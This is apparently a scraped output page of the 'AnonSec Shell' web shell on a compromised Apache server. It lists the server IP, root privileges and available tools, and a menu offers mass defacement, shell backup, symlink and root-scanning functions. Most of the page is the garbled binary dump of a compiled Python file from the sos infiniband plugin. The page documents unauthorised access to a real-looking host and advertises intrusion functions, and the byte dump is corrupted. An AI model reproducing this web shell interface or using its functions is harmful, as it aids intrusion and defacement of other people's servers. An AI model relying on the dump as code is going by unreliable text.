AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/infiniband.cpython-310.pyc
o

���bB
�@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�IndependentPluginc@s$eZdZdZdZdZdZdd�ZdS)�
InfinibandzInfiniband information�
infiniband)�hardware)zlibibverbs-utils�opensm�rdmazinfiniband-diagsc

s8|�gd��|�d�|�gd��gd�}d}|�|�r#|�|�ng}|D]r}	|�d�r0q'|�||d�D]_}zt||d|d	�}Wn	tyRYq9w|��}|��|d
kr`q9zt||d|d�}Wn	tywYq9w|��}	|��|	�	d�s�q9d
||f�|��fdd�|D��q9q'dS)N)z/etc/ofed/openib.confz/etc/ofed/opensm.confz	/etc/rdmaz/var/log/opensm*)�ibv_deviceszibv_devinfo -v�ibstat�ibstatus�
ibswitches)�ibhosts�
iblinkinfo�sminfo�	perfqueryz/sys/class/infiniband/�hfiz/portsz/ports/z/link_layerzInfiniBand
z/statez	: ACTIVE
z-C %s -P %scsg|]}d|�f�qS)z%s %s�)�.0�c��optsr�?/usr/lib/python3/dist-packages/sos/report/plugins/infiniband.py�
<listcomp>Psz$Infiniband.setup.<locals>.<listcomp>)
�
add_copy_spec�add_cmd_output�
path_isdir�listdir�
startswith�open�IOError�readline�close�endswith)
�self�
ports_cmds�
IB_SYS_DIR�ibs�ib�port�p�
link_layer�s�staterrr�setupsF
	

���
��zInfiniband.setupN)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�packagesr-rrrrrsrN)�sos.report.pluginsrrrrrrr�<module>s


Anon7 - 2022
AnonSec Team